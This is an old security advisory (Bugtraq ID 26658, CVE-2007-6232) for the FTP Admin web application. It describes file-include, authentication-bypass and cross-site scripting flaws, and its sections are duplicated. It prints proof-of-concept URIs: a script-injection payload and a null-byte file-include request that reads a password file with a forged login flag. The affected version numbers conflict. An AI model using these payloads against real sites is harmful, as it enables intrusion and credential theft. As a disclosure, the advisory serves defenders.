FTP Admin Multiple Remote Vulnerabilities
BID:26658
Info
FTP Admin Multiple Remote Vulnerabilities
| Bugtraq ID: | 26658 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-6232 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 30 2007 12:00AM |
| Updated: | Dec 07 2007 05:02PM |
| Credit: | omnipresent discovered these vulnerabilities. |
| Vulnerable: |
FTP Admin FTP Admin 0.1 |
| Not Vulnerable: | |
Discussion
FTP Admin Multiple Remote Vulnerabilities
FTP Admin is prone to multiple remote vulnerabilities that include file-include, security-bypass, and cross-site scripting issues.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
These issues affect FTP Admin 1.0.1; other versions may also be vulnerable.
FTP Admin is prone to multiple remote vulnerabilities that include file-include, security-bypass, and cross-site scripting issues.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
These issues affect FTP Admin 1.0.1; other versions may also be vulnerable.
Exploit / POC
FTP Admin Multiple Remote Vulnerabilities
An attacker can exploit these issues via a browser.
The following proof-of-concept URIs are available for the cross-site scripting issue:
http://www.example.com/ft/index.php?page=error&error=<b>...</b>
http://www.example.com/ft/index.php?page=error&error=<script>alert(1)</script>
The following proof-of-concept URI is available for the file-include issue:
http://www.example.com/ft/index.php?page=pass.txt%00&loggedin=true
An attacker can exploit these issues via a browser.
The following proof-of-concept URIs are available for the cross-site scripting issue:
http://www.example.com/ft/index.php?page=error&error=<b>...</b>
http://www.example.com/ft/index.php?page=error&error=<script>alert(1)</script>
The following proof-of-concept URI is available for the file-include issue:
http://www.example.com/ft/index.php?page=pass.txt%00&loggedin=true
Solution / Fix
FTP Admin Multiple Remote Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].